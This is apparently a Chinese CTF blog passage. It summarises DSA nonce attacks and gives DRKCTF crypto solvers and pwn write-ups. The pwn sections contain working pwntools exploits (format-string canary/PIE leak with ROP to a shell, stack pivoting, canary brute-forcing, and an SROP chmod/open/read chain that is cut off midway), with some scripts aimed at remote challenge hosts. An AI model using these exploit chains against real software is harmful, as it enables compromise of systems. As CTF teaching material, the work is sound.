浮白载笔

苍山负雪,明烛天南

基本流程

生成密钥

  1. 选择一个合适的哈希函数,目前一般选择 SHA1,当前也可以选择强度更高的哈希函数 H。
  2. ^选择密钥的长度^ L 和 N,这两个值决定了签名的安全程度。在最初的 DSS(Digital Signature Standard )中建议 L 必须为 64 的倍数,并且512≤L≤1024 ,当然,也可以更大。N 必须大小必须不大于哈希函数 H 输出的长度。
  3. 选择 N 比特的素数 q。
  4. 选择 L 比特的素数 p,使得 p-1 是 q 的倍数。
  5. 选择满足 g^k^≡1modp的最小正整数 k 为 q 的 g,即在模 p 的背景下,ord(g)=q 的 g。即 g 在模 p 的意义下,其指数次幂可以生成具有 q 个元素的子群。这里,我们可以通过计算g=h$$\frac{p-1}{q}$$modp 来得到 g,其中1<h<p−1 。
  6. 选择私钥 x,0<x<q ,计算y≡g^x^modp 。

公钥为 (p,q,g,y),私钥为 (x)。

进行签名

  1. 选择随机整数数 k 作为临时密钥,0<k<q0<k<q 。
  2. 计算r≡(g^k^modp)modq
  3. 计算s≡(H(m)+xr)k^−1^modq

签名结果为 (r,s)。H(m)为明文的哈希值。

验证过程

  1. 计算辅助值,w=s^−1^modq
  2. 计算辅助值,u1=H(m)wmodq
  3. 计算辅助值,u2=rwmodq
  4. 计算v=(g^u1^y^u2^modp)modq
  5. 如果 v 与 r 相等,则校验成功。

题型总结

1,已知随机密钥k

已知k时,我们就可以根据s≡(H(m)+xr)k^−1^modq 推出x≡r^−1^(ks−H(m))modq,一般这类题的H都会给出。

2,多个签名使用相同密钥k

举个栗子[]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python
from Crypto.Util.number import *
from hashlib import sha512,md5
from os import urandom
import random

def hash(message):
return int(sha512(message).hexdigest(), 16)

def key_gen():
q = getPrime(256)
while True:
p = random.getrandbits(2816)*q + 1
if isPrime(p):
print(p.bit_length())
break
while True:
g = pow(random.randrange(1, p-1), (p-1)/q, p)
if g != 1:
break
x = random.randrange(1, q)
y = pow(g, x, p)
pubkey = (p, q, g, y)
privkey = x
return pubkey, privkey

def sign(message, pubkey, privkey):
p, q, g, y = pubkey
x = privkey
k = pow(y, x, g) * random.randrange(1, 512) % q
r = pow(g, k, p) % q
s = inverse(k, q) * (hash(message) + x * r) % q
return r, s

def verify(message, signature, pubkey):
p, q, g, y = pubkey
r, s = signature
if not (0 < r < q) or not (0 < s < q):
return False
w = inverse(s, q)
u1 = (hash(message) * w) % q
u2 = (r * w) % q
v = ((pow(g, u1, p) * pow(y, u2, p)) % p) % q
return v == r

pubkey, privkey = key_gen()
print(pubkey)

message1 = urandom(16).encode('hex')
signature1 = sign(message1, pubkey, privkey)
print(message1,signature1)
print(verify(message1, signature1, pubkey))

message2 = urandom(16).encode('hex')
signature2 = sign(message2, pubkey, privkey)
print(message2,signature2)
print(verify(message2, signature2, pubkey))

flag = 'flag{'+md5(long_to_bytes(privkey)).hexdigest()+'}'


显然是一个经典的复用k的情况,但是做了一点小小的升级

注意看这一段

1
2
3
4
5
6
7
def sign(message, pubkey, privkey):
p, q, g, y = pubkey
x = privkey
k = pow(y, x, g) * random.randrange(1, 512) % q
r = pow(g, k, p) % q
s = inverse(k, q) * (hash(message) + x * r) % q
return r, s

原版dsa的sign中k = pow(y, x, g) % q

而此题k = pow(y, x, g) * random.randrange(1, 512) % q

乘了一个随机数。(其实可以直接穷举爆出来的)

那么来一点小小的推导吧

两组数据,则有两个表达式,如下
k1s1 = (H(M1)+xr1) mod q
k2s2 = (H(M2)+xr2) mod q
同时也有
k1 = (y^x^ mod g * random1) mod q
k2 = (y^x^ mod g * random2) mod q
k1,k2表达式,将随机数移到左边
k1 * random1^-1^ = (y^x^ mod g) mod q
k2 * random2^-1^ = (y^x^ mod g) mod q
所以得到:k1 * random1^-1^ = k2 * random2^-1^
此式子缺乏x,需要引入含有x的表达式,ks = (H(M)+xr) mod q,两边同时乘以s1s2
k1 * random1^-1^ * s1s2 = k2 * random2^-1^ * s1s2
式子也等价于
H(M1)random1^-1^ s2 + xr1random1^-1^ * s2 = H(M2)random2^-1^ s1 + xr2random2^-1^ * s1
再化简
H(M1)random1^-1^ s2 * random2 + xr1random1^-1^ * s2 * random2 = H(M2) * s1 + xr2s1
移项
H(M1)random1^-1^ s2 * random2 - H(M2) * s1 = xr2s1 - xr1
random1^-1^ * s2 * random2
x = H(M1)random1^-1^ s2 * random2 - H(M2) * s1 / (r2s1 - r1random1^-1^ * s2 * random2)

除法改成乘法的逆即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from Crypto.Util.number import *
from hashlib import sha512,md5

pubkey = (3297226463037324458008837284498963372649038889390685051849680175016505646001761220109858921624266044035133134135402561235635833428206886888308027772353030767400921078346868377298401213812053250316002033941692272192644613252296579884516731560436501073253924457646558698855484781747029397755111633297587215976579633451933658235385386539518006570069653575146060016811911140614606471930327341368582979836042585406811352236326065292636484550807213756482153084427714549694264685695977531537425682212155553568848666088576932888234659355213664909753781753917401161977762663658097504411914908081677033980915039079517766159760522261279115347385813009437510156898969769563687869495721977265444799585634019880951532080217960456901788918439265788169910062822889580199366417455186595489973000351770200485095008494228829300145039695936946379585625051402553034971207474762463147744467360158847593356030745194143276254949463650698210515569533L,82302835442112137125891403368151249910268706824854786126600390413622302196443L,1156233264299340971106498371495495695225880592354374034142195518472540521911699506391311324676590685365234887170345722135060009885002334748836477169806166169806180231794918961214520698361874839110454610266388341977984902756569838594616255112661600466818870137432772800368859461445854700956291885576855069405183771903076277144927769029433730710613058788277691211698675287829143272152835171859480781061918556840079857761203012054552142555673071865310355331986288606422711525790877591376770834180618492794265362178603111236615495225612101250344421932588038244804199229449738675082560512062564365473035097263889257937140778993389305893378514344032352806521972367991027459721160744835688761657797398841523104074451793557924512992305640697344011520550723893828185707635141404445213445935586965289450282024222064488965878769991566367115153619761583843561579531705057955933288008556165952066173304891391375100346312776539530448611005L,290999623787731812697719691852061290246619413463636312382146969900546384514710782843153962704851916091601679028830866176332331519515156301401537173069908181509028464322647352256632424684809349121024262597006913707483811117644197481959053785475083406472583099140506505071300193356002443007750220524932219191932969202270343323955035291396808472686684787610559114702054784699365490860392737061056233160308943296478540798353134878937088336672928162894332961762277559345860479916248086821117811990391025187125193074059001086441305977133252774698996653122297123447837449168657347308016270030881395674066421144002959751936839166935726200833785132736328859710351871352567511516142170956091885352178579302299634322254818383978585773136692588922976043617337904545396146755609284163743476297772686548475170197605412847689587171522453229055932712714154869989454808561458852031769119489235598402066924082778376081494632258448434048562053L)
p,q,g,y = pubkey

message1xx = (b'0234e7971889def7e60348f77db94b7a',(10859236269959765735236393779936305217305574331839234502190226708929991582386L,13707557323895695260471053137828523837745895683218331343360027380310980108819L))

message1 = b'0234e7971889def7e60348f77db94b7a'
r1 = 10859236269959765735236393779936305217305574331839234502190226708929991582386L
s1 = 13707557323895695260471053137828523837745895683218331343360027380310980108819L

message2 = b'16c5ac270b72f70319657b4410d985d4'
r2 = 41960642246379067640524709416001536058292817319109764317369777224426218746518L
s2 = 74676725322515593502346275468843411563746982149373670021082686341369076719088L

def hash(message):
return int(sha512(message).hexdigest(), 16)

def sign(message, pubkey, privkey,randoms):
p, q, g, y = pubkey
x = privkey
k = pow(y,x,g) * randoms
r = pow(g,k,p)%q
s = inverse(k,q)*(hash(message)+x*r)%q
return r,s

H1 = hash(message1)
H2 = hash(message2)

#x = H(M1)*random1^-1 *s2 * random2 - H(M2) * s1 / (r2*s1 - r1*random1^-1 * s2 * random2)
print "Now attack start..."
for random2 in range(1,512):
print "Now random2 is:%d\n" % random2
for random1 in range(1,512):
print "Now random1 is:%d" %random1
random1_inverse = inverse(random1,q)
x = (H1*random1_inverse*s2*random2-H2*s1) * inverse(r2*s1-r1*random1_inverse*s2*random2,q)%q
if sign(message1,pubkey,x,random1) == message1xx[1]:
flag = 'flag{'+md5(long_to_bytes(x)).hexdigest()+'}'
print flag
print "Success!"
exit()

虽然但是随机数好像要爆蛮久……

3,不同次签名使用的k存在线性关系

找了半天没看到合适的例题,只有拿Dexter佬的水一水捏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import hashlib
from Crypto.Util.number import *
from gmpy2 import *
FLAG = b'******************'
assert FLAG.startswith(b'NSSCTF{') and FLAG.endswith(b'}')
FLAG = FLAG[7:-1]

def sign(msg, pub, pri, k):
(p,q,g,y) = pub
x = pri
r = int(pow(g, k, p) % q)
h = int(hashlib.sha256(msg).digest().hex(),16)
s = int((h + x * r) * invert(k, q) % q)
return (r, s)

p = 12521300600879647215212622604478307167614802603722694432672492518732844280050451647647783544918670551333939947202324314036106883627652934658092246151569719841172139651756731975948641752941369320985906043813128667949407263418091261521078015038472125264708315959943830171678415621896727622381651264882655845219115471323352719455064712014904581019529062436850895982568432772820884304927292484611574315452532539622439874476205201585972439739033662281856954069390915294301650596122027017512657387126870291348326594014789938826560641601265413964203409968207292456857314148848395645091850604205535043035332961436498283695843
q = 89333150710898097819726085329049525002843220030438497258487456281988064920981
g = 4659169190462665152432024005060362819268084070474399613244522271693166269703240438309526888954293382169994621221386886590606442329876391429681914154130453072540079426475110538234340272617964838185872575922598867083747162403217264242469640383596415974818773608247780785279490355462362699968367544837511541267300331418420849521244364899679912282991493675152166261501255315036943693486335864565853496499243373834189894710718862409646613179068080762011713847012853815796678705445232715083564615906424779193638984542271665075749327914765645357163924702265124479067028868769369414557728443665123548337757950887923116453268
x = bytes_to_long(FLAG)
y = powmod(g, x, p)

pub = (p,q,g,y)
pri = x

nonce = getPrime(64)
print('y =', y)
print(sign(b'nssctfround#1', pub, pri, nonce))
print(sign(b'nssctfround#1', pub, pri, 12345*nonce + 67890))

'''
y = 516079379252376231001717898324355848864109868582016554029703521946402522000955354396295307046881971504216991061930299508521161039333927590076006514531946316725453062373440451679354041777376121961468715242703413529070177041819221792817124111175287475946526246377103779752133378942603534385789689950337366490082828044596711426514502752548887337695502949798115745655734033592905036846835127551577851715558217775334831352232997052342694255476534837857477388530834954919414905007702912216496977764789386913244009912368937860550222726279524193115767983754873150853915852619223039800432272818237552774389220137762595332280
(81900716895065212453759953296615257914462909922962929287345063257120550453427, 45144894416226080526306932143570511284754744855790908537643986192724824691890)
(60471460394555700734359895323450929800168788093422384886037011624642263106556, 74754852228035293908666429128869604520827363733944834534730568060790683199921)
'''

附上丑丑的推导

c572b534fc3cd26be69322c1fcf23c68.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import *
import hashlib
import gmpy2

y =
r1,s1 = (, )
r2,s2 = (, )
p =
q =
g =
msg = b''
h = int(hashlib.sha256(msg).digest().hex(),16)

a =
b =

k = ((h*(r2 - r1) + b*r1*s2)*gmpy2.invert((r2*s1-a*r1*s2),q)) % q

m1 = (k*s1 - h)*gmpy2.invert(r1,q) % q
print(long_to_bytes(m1))

k1 = a*k+b

m2 = (k1*s2 - h)*gmpy2.invert(r2,q) % q
print(long_to_bytes(m2))

还有的题型遇到了再补上叭……

wwwww

题目复现网站

https://www.qsnctf.com/#/main/driving-range

Crypto

签到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import gmpy2

output = [5944442525761903973219225838876172353829065175803203250803344015146870499,
141002272698398325287408425994092371191022957387708398440724215884974524650,
42216026849704835847606250691811468183437263898865832489347515649912153042,
67696624031762373831757634064133996220332196053248058707361437259689848885,
19724224939085795542564952999993739673429585489399516522926780014664745253]
t = []
for i in range(1, len(output)):
t.append(output[i] - output[i - 1])

T = []
for i in range(1, len(t) - 1):
T.append(t[i + 1] * t[i - 1] - t[i] ** 2)

m = []
for i in range(len(T) - 1):
mm = gmpy2.gcd(T[i], T[i + 1])
if isPrime(mm):
m.append(int(mm))
else:
for i in range(1, 100):
if isPrime(mm // i):
mm = mm // i
m.append(int(mm))
break

for i in m:
a = gmpy2.invert(t[0], i) * t[1] % i
b = output[1] - a * output[0] % i
a_ = gmpy2.invert(a, i)

seed = a_ * (output[0] - b) % i
for _ in range(2 ** 16):
seed = a_ * (seed - b) % i
flag = long_to_bytes(seed)
if b'flag' in flag:
print(flag)

Matrix_revenge

出这个revenge版主要是希望师傅们学到一般线性群的阶
4阶模p矩阵的阶为
image.png
然后就是和RSA一样的思路
求一个d,满足
image.png
exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import *
import gmpy2

p = 724011645798721468405549293573288113
q = 712853480230590736297703668944546433
C = [(354904294318305224658454053059339790915904962123902870614765704810196137, 307912599668649689143528844269686459695648563337814923172488152872006235, 143644686443811064172873392982322248654471792394264352463341325181752577, 22995887787365556743279529792687264972121816670422146768160153217903088), (111349308911096779758451570594323566987628804920420784718347230085486245, 370237591900013263581099395076767089468466012835217658851568690263421449, 305451886364184428434479088589515273362629589399867618474106045683764897, 454103583344277343974714791669312753685583930212748198341578178464249150), (168497521640129742759262423369385500102664740971338844248603058993335309, 228941893018899960301839898935872289351667488000643221589230804176281482, 340080333594340128998141220817079770261711483018587969623825086357581002, 122922413789905368029659916865893297311475500951645918611759627764993518), (10332477229415731242316540110058798318207430965033579181240340751539101, 238172263316130590821973648893483382211906906298557131324791759298887701, 487586702165464601760230182019344052665496627253691596871783460314632260, 12238020921585443139790088280608644406695242899000592355653073240122626)]
e = 65537
n = p * q

phip = (p-1)*(p+1)*(p^2+p+1)*p*(p^2+1)
phiq = (q-1)*(q+1)*(q^2+q+1)*q*(q^2+1)

d = gmpy2.invert(e,phip*phiq)

C = Matrix(Zmod(n),C)

M = C ** d

flag = b""
for i in range(4):
for j in range(4):
m = int(M[i,j])
flag += long_to_bytes(m)

print(flag)
# DRKCTF{a58986e7-33e5-4f65-8c22-b8a5e620752d}

EzDES

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad
from secret import flag,key

key = bytes.fromhex(key)
des = DES.new(key, DES.MODE_ECB)

enc = des.encrypt(pad(flag,64))

print(enc)

"""
b't\xe4f\x19\xc6\xef\xaaL\xc3R}\x08;K\xc9\x88\xa6|\nF\xc3\x12h\xcd\xd3x\xc3(\x91\x08\x841\xca\x8b\xc1\x94\xb5\x9f[\xcd\xc6\x9f\xf9\xf6\xca\xf5\x1a\xda\x16\xcf\x89\x154\xa1\xfe\xc5\x16\xcf\x89\x154\xa1\xfe\xc5'
"""

根据题目描述,从密钥入手,这道题主要想让师傅们了解到DES的弱密钥。
网上随便找个弱密钥就可以解了
exp.py

1
2
3
4
5
6
7
8
9
10
from Crypto.Cipher import DES

key = "0101010101010101"
key = bytes.fromhex(key)
des = DES.new(key, DES.MODE_ECB)

c = b't\xe4f\x19\xc6\xef\xaaL\xc3R}\x08;K\xc9\x88\xa6|\nF\xc3\x12h\xcd\xd3x\xc3(\x91\x08\x841\xca\x8b\xc1\x94\xb5\x9f[\xcd\xc6\x9f\xf9\xf6\xca\xf5\x1a\xda\x16\xcf\x89\x154\xa1\xfe\xc5\x16\xcf\x89\x154\xa1\xfe\xc5'
flag = des.decrypt(c)
print(flag)
# DRKCTF{We4k_K3y_1s_V3ry_D4nger0us_In_DES}

MidRSA

part1

由题意知
image.png
我们取两个不同的i,j
image.png
于是有
image.png
取两组这样的值,然后求公因数即可得到n
得到n之后右移300位即可得到前半部分的flag

part2

利用共模攻击的思路,设存在x,y,使得下式成立
image.png
我们便有
image.png
这里gcd(e1,e2) != 1
我们需要再进行一次共模攻击
假设存在s,t,使得下式成立
image.png

image.png
则有
image.png
exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from Crypto.Util.number import *
import gmpy2

def decrypt1(c,e):
knlist = []
for i in range(len(c)):
for j in range(len(c)):
if i!=j:
knlist.append(c[i]**e[j] - c[j]**e[i])

for i in range(len(knlist)):
for j in range(len(knlist)):
if i!=j:
kn = gmpy2.gcd(knlist[i],knlist[j])
if kn != 1:
n = kn
flag1 = long_to_bytes(n >> 300)
if b"DRKCTF" in flag1:
return flag1

def decrypt2(c,e,n):
def decode(e1,e2,c1,c2):
s,x,y = gmpy2.gcdext(e1,e2)
res = pow(c1,x,n) * pow(c2,y,n) % n
return res

res1 = decode(e[0],e[1],c[0],c[1])
res2 = decode(e[2],gmpy2.gcd(e[0],e[1]),c[2],res1)
flag2 = long_to_bytes(res2)
return flag2

e1 = [109, 71, 109, 73]
cipher1 = [36272047346364825234770733058042613197790911431212158822254782055957208837848605160852567043492625692783344073921185227328379941291979083011033, 13421582077901767047291741873622169312010984740586925881415103229648835151589774736786336965745532072099996467445790339749720696886313635920080, 36272047346364825234770733058042613197790911431212158822254782055957208837848605160852567043492625692783344073921185227328379941291979083011033, 41425183140413487232780768389488969603566343428250573532166425276868000949579663990819005141199597640625439816343697426958648927294289659127871]
e2 = [79572758141493570128961125255246129069540961757778793209698370333142346488381, 80555585862127636800866563977080055603517001358195529410497461746213789997225, 44651921320695090688745333790065512192118202496468714141526113242887125432380]
cipher2 = [58600444300331800249882073146233995912287198739549440714207984476331259754331716531491187240053630185776787152600165426285021284302994699108557023545574315706006132536588848833818758624067461985444940651823107522770906474037882323326792755635934081822967331031854184791299228513024491344725765476710816941057, 16511944800191885973496391252612222059697387587833308714567450121364756390806094606646424594583975159634952911600665271092389815248477961923357683297311169260578508157717777465241680062644118354471550223231057620392252324514411927096940875466794869671163453991620492008856178108060167556176019729800517994337, 80885008609388989196377721090246742575908473911131498982960117640742106565184297197238656375198284856442596226398287448931285735903463892735111244609358611618958293002176923706195402338331128766464276441210238388187625107435781170368017908610916585774514676482124401329575553658828115269495158818527164441546]
n = 93468142044831350317940409833603031534515663349871776634867176846669780024082517910566484997161088199091160371537367121403194814422867749777235397168852158723228851090445429617275680206703935781244466363279841409768649097588586494453125840436600639420286950914680651600232197982546122764845043227394567787283
flag1 = decrypt1(cipher1,e1)
flag2 = decrypt2(cipher2,e2,n)
flag = flag1 + flag2
print(flag)

# DRKCTF{5d0b96e8-e069-4378-82e7-120e4b761a0b}

Myencrypt

求解P

1
2
3
4
5
6
7
def getMyPrime():              
while True:
r = random.getrandbits(64)
_p = r**6 -3*r**5 - r**4 + r**2 - r - 6
_q = r**7 + 2*r**6 + r**5 + 4*r**4 + 7*r**2 + r + 4653
if isPrime(_p) and isPrime(_q):
return _p, _q

由题目可知,根据p,q的特殊性,我们可以把n写成关于r的式子,即
image.png
我们直接对n开13次方,得到的值记为temp,这个temp与实际上的r相差不大(这一点可以自己生成数据进行验证)。
在得到tmp之后,我们采取爆破的方式求解r,有了r就很容易求出p,q,然后再进行RSA求解得到LCG的模,也就是P

求解flag

上一步得到P之后,题目接下来的加密就是LCG的过程,只不过给出的状态值不全,而是模了2^{16}之后的值。此时我们需要进行推导

image.png
拆成高低位来写,则有
image.png
其中H,L代表当前状态的高低位,化简得
image.png
于是有
image.png
image.png

image.png
将常数记为B
写到这里是为了后面更好理解B_i如何计算
回到题目,简单来写就是
image.png
也就是
image.png
构造格
image.png
约后我们可以得到H_1,即可求得
image.png
再求解seed
image.png
exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from Crypto.Util.number import *
import gmpy2

n = 17959692613208124553115435318871530105762927141420294800783695207170608966804977782615874404539156257549097962410144332053383210075663138848832474791712256427111304125146378883542387121684653496644116081809328796925343393644118376497507
enc_P = 17215745298239635988196009014709535403293865406390546681749129213899045156482782458937447412919331336842808052179915132663427715069134196783415529688715962754860563850858056507148936427379551986735103284388996678146580229028006898491552
a = 2759277675743644814124420138047586760905070650864591936190199977578763421196999718749092450720072564786874114432179104175692800471519816376692104515142375
b = 8111240578821759579875175166986910195923820191652867334412871591814076020421468033017946066268237980082938735686222173713853299600396887041341974719819186
out = [39566, 15295, 19818, 55685, 49100, 6517, 2675, 9567, 37243, 40312, 42906, 35874, 44178, 1256, 40298, 29149, 35721, 19886, 63020, 50116, 6844, 39897, 16134, 50218, 44609, 46188, 52712, 49903, 20933, 5441, 19411, 8330, 6904, 39350, 60853, 43446, 35910, 43728, 61533, 13757]

def get_P(n,c):
r = gmpy2.iroot(n,13)[0]
for i in range(10000):
p = r**6 -3*r**5 - r**4 + r**2 - r - 6
q = r**7 + 2*r**6 + r**5 + 4*r**4 + 7*r**2 + r + 4653
r = r+1
if isPrime(p) and isPrime(q) and n==p*q:
q = n // p
d = gmpy2.invert(65537,(p-1)*(q-1))
P = pow(c,d,n)
# print(P)
return int(P)

P = get_P(n,enc_P)

L = [0] + out
n = len(out)
A = [1]
B = [0]
for i in range(1,n):
A.append(a*A[i-1] % P)
B.append((a*B[i-1] + (a*L[i]+b-L[i+1])*gmpy2.invert(2^16,P))%P)

A = A[1:]
B = B[1:]

Ge = Matrix(ZZ,n+1,n+1)
for i in range(len(A)):
Ge[i,i] = P
Ge[-2,i] = A[i]
Ge[-1,i] = B[i]

Ge[-2,-2] = 1
Ge[-1,-1] = P // 2^16

M = Ge.LLL()[0]
H1 = M[-2]
L1 = out[0]
seed1 = H1 * 2^16 + L1

seed = ((seed1 - b)*gmpy2.invert(a,P))%P
print(long_to_bytes(int(seed)))
# DRKCTF{a57b63a6-ecf5-46d3-a501-2d359a4fd168}

希望师傅们能有所收获。另外夹带一点私货,师傅们可以关注下我的博客
https://dexterjie.github.io

PWN

ez_quiz

题目开了PIE和Canary保护:
image.png
先本地运行附件,观察逻辑,首先需要在2s内输入token:
image.png
分析代码,题目先将输入字符串在encode函数先异或0xff再进行base32加密处理,并将处理后的字符串和“XOW3JPFLXGCK7TWMX6GMZIGOTK7ZJIELS65KBHU3TOG2BT4ZUDEJPGVATS7JDPVNQ2QL7EM3UCHZNGUC”比较:
image.png
此处可以打断点动态调试看内存的token,也可以直接用Cyberchef解密得到token:DRKCTF{P13@s3_1e@k_thE_addr_0f_7he_cAnARy_@nd_pie}
image.png
使用eval()计算式子:
image.png
根据token提示,存在格式化字符串漏洞:
image.png
pwndbg调试发现Canary 在 Stack 上的地址为第0xd位,将Stack第0xa位地址-0x2042得到基址
image.png
程序存在pop rdi
image.png
通过格式化字符串泄露Canary和PIE后可写rop链执行 system(“/bin/sh”);
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

# p = remote("ip",port)
p = process('./attachment')
e = context.binary = ELF("./attachment")
context.update(arch='amd64', os='linux', log_level='debug')

p.recvuntil(b'token:')
payload = str('DRKCTF{P13@s3_1e@k_thE_addr_0f_7he_cAnARy_@nd_pie}')
p.sendline(payload)

p.recvline()
p.sendline(str(eval(p.recvline().decode().strip().split('=')[0].strip())))

p.recvuntil(b'gift:\n')
p.sendline(b'%13$p|%11$p|')

e.address = int(p.recvuntil(b'|').strip(b'|'), 16) - 0x2042
canary = int(p.recvuntil(b'|').strip(b'|'), 16)
log.info(f'PIE: {hex(e.address)}')
log.info(f'Canary: {hex(canary)}')

bin_sh = e.address + 0x3041
pop_rdi = e.address + 0x0000000000002072
payload = b'A' * 40
payload += p64(canary) + p64(0)
payload += p64(pop_rdi) + p64(bin_sh)
payload += p64(pop_rdi + 1)
payload += p64(e.plt['system'])
p.sendline(payload)
p.interactive()

stack

其实就是一个栈迁移,但是栈迁移一次无法达到我们控制栈上栈顶数据的作用,需要栈迁移两次,再搞个ROP就行。或者ogg直接getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def exploit():
li('exploit...')
bss_addr =0x0000000000404040+0x400
read_addr = 0x00000000040119B
pop_rdi_ret = 0x0000000000401210
libc_pop_rdx_ret = 0x0000000000142c92
libc_pop_rsi_ret = 0x000000000002601f
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = 0x000000000401176
pl = "A"*0x100+p64(bss_addr)+p64(read_addr) #栈溢出
db()
sa("Hello, CTFer, do you know how to stack pivoting?\n",pl)
pl2 = "A"*(0x100)+p64(bss_addr+0x100)+p64(read_addr) #存放在bss_addr-0x100
s(pl2)
pl3 = "/bin/sh\x00"+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)#存放在bss_addr-0x100
s(pl3)
base_addr = uu64()-libc.symbols["puts"]
system_addr = base_addr+libc.symbols["system"]
li("base_addrr ---------------> 0x%x"%base_addr)
li("system_addr -------------> 0x%x"%system_addr)

pl = "A"*0x100+p64(bss_addr)+p64(read_addr) #栈溢出
sa("Hello, CTFer, do you know how to stack pivoting?\n",pl)
pl2 = "A"*(0x100)+p64(bss_addr+0x100)+p64(read_addr) #存放在bss_addr-0x100
s(pl2)
#pl4 = p64(0)+p64(ret)+p64(pop_rdi_ret)+p64(base_addr-0x100)+p64(system_addr)#存放在bss_addr-0x100
pl4 = p64(0)+p64(libc_pop_rdx_ret+base_addr)+p64(0)+p64(libc_pop_rsi_ret+base_addr)+p64(0)+p64(0xe3b04+base_addr)
s(pl4)

**Canary **

fork函数存在,于是可以爆破cnanry,爆破完后写一个orw就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
#elf = ELF("./pwn1")
elf = ELF("./dockerfile/bin/pwn1")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
#p = remote('121.196.193.233',49188)
pause()
canary = b'\x00'
while len(canary) < 8:
info(len(canary))
for c in range(0x100):
p.sendafter("please input:\n", b"a" * 0x108 + canary + p8(c))
# pause()
if not p.recvline_contains('stack smashing detected', timeout=1):
canary += p8(c)
break
canary = u64(canary)
success("canary: " + hex(canary))

payload = b''
payload += b'a'* 0x108 + p64(canary)
payload += b'b' * 8
payload += p64(0x000000000040f23e) # pop rsi ; ret
payload += p64(0x00000000004c10e0) # @ .data
payload += p64(0x00000000004493d7) # pop rax ; ret
payload += b'/bin//sh'
payload += p64(0x000000000047c4e5) # mov qword ptr [rsi], rax ; ret
payload += p64(0x000000000040f23e) # pop rsi ; ret
payload += p64(0x00000000004c10e8) # @ .data + 8
payload += p64(0x00000000004437a0) # xor rax, rax ; ret
payload += p64(0x000000000047c4e5) # mov qword ptr [rsi], rax ; ret
payload += p64(0x00000000004018c2) # pop rdi ; ret
payload += p64(0x00000000004c10e0) # @ .data
payload += p64(0x000000000040f23e) # pop rsi ; ret
payload += p64(0x00000000004c10e8) # @ .data + 8
payload += p64(0x00000000004017cf) # pop rdx ; ret
payload += p64(0x00000000004c10e8) # @ .data + 8
payload += p64(0x00000000004437a0) # xor rax, rax ; ret
payload += p64(next(elf.search(asm('pop rax;ret'),executable = True)))
payload += p64(59)
payload += p64(next(elf.search(asm('syscall'),executable=True)))
#pause()
p.sendafter("please input:\n",payload)
p.interactive()

seccomp

flag文件是没有read权限的,srop要先调用chmod改flag文件权限,再orw输出flag文件内容
srop的frame直接写到bss段
payload2的作用是栈迁移到bss段启动srop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# -*- coding=utf-8 -*-
#!/usr/bin/env python3
# A script for pwn exp
from pwn import*
context(arch='amd64',os='Linux',log_level='debug')
#p=remote('47.108.206.43',26920)#47.108.206.43:20624
p=remote('121.196.193.233',49183)
#p=process('/home/kali/Desktop/my_chall/srop_seccomp/dockerfile/bin/chall')
elf = ELF('/home/kali/Desktop/my_chall/srop_seccomp/dockerfile/bin/chall')
rop = ROP(elf)
input("[PAUSE]")
#gadgets
mov_rax_0xf = 0x401193
leave_ret = 0x40136c
ret_addr = 0x401016
syscall_addr = rop.find_gadget(['syscall']).address
syscall_ret_addr = 0x401186 #full function
#rsi
data_addr = 0x404000
bss_addr = 0x404060
#init frame
frame_read_1 = SigreturnFrame()
frame_read_1.rax = 0
frame_read_1.rdi = 0
frame_read_1.rsi = data_addr
frame_read_1.rdx = 0x5a
frame_read_1.rsp = 0x404178 #指向payload中邻接的mov_rax_0xf在bss段的地址
frame_read_1.rip = syscall_ret_addr
frame_chmod = SigreturnFrame()
frame_chmod.rax = 0x5a
frame_chmod.rdi = data_addr
frame_chmod.rsi = 7
frame_chmod.rsp = 0x404280 #指向payload中邻接的mov_rax_0xf在bss段的地址
frame_chmod.rip = syscall_ret_addr
frame_open = SigreturnFrame()
frame_open.rax = 0x02
frame_open.rdi = data_addr
frame_open.rsi = constants.O_RDONLY
frame_open.rdx = 0
frame_open.rsp = 0x404388 # 指向payload中邻接的mov_rax_0xf在bss段的地址
frame_open.rip = syscall_ret_addr
#read flag
frame_read_2 = SigreturnFrame()
frame_read_2.rax = 0
frame_read_2.rdi = 3
frame_read_2.rsi = 0x405000
frame_read_2.rdx = 0x30
frame_read_2.rsp = 0x404490 #指向payload中邻接的mov_rax_0xf在bss段的地址
frame_read_2.rip = syscall_ret_addr
